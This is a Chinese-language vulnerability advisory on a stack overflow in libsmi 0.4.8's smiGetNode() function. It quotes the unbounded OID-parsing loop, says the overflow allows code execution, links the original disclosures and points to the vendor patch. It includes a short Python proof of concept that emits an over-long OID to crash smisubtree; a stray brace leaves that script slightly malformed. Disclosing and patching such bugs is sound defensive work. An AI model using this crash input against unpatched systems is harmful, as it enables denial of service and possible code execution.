libsmi smiGetNode()函数超长OID解析栈溢出漏洞

受影响系统:

Libsmi Libsmi 0.4.8

描述:
libsmi是用于访问SMI MIB信息的函数库。

如果用户以数字(如1.3.6.1.2.1.4.17)和可读(如ipForwarding)格式提供char *的OID名称,libsmi的smiGetNode函数会返回一个SmiNode结构。该函数使用了包含有128个元素的无符int型静态数组来容纳数组格式的OID:

/—–
    SmiSubid        oid[128];
– —–/

请注意SmiSubid为无符int型。

如果以char *所提供的OID是由句号所分割的连续数字,先后调用strtok和strtoul的循环就会填充这个数组:

/—–
    if (isdigit((int)node2[0])) {
      for (oidlen = 0, p = strtok(node2, ". "); p;
            oidlen++, p = strtok(NULL, ". ")) {
        oid[oidlen] = strtoul(p, NULL, 0);
      }
    }
– —–/

如果字符串中的node2超过了128个句号,该循环就会越过oid边界,触发经典栈溢出,导致可靠的执行任意代码。

<*来源:Andres Lopez Luksenberg
  
  链接:
http://secunia.com/advisories/41841/
        http://marc.info/?l=bugtraq&m=128760822910098&w=2
*>

测试方法:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

 

#!/usr/bin/python

    # run ./smisubtree `./libsmicrash.py`

    if __name__ == "__main__":
            s = ""
            for i in xrange(158):
                    s = s + "1."

            print s}

建议:

厂商补丁:

Libsmi
——
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.ibr.cs.tu-bs.de/projects/libsmi/index.html?lang=de

发表评论?

0 条评论。

发表评论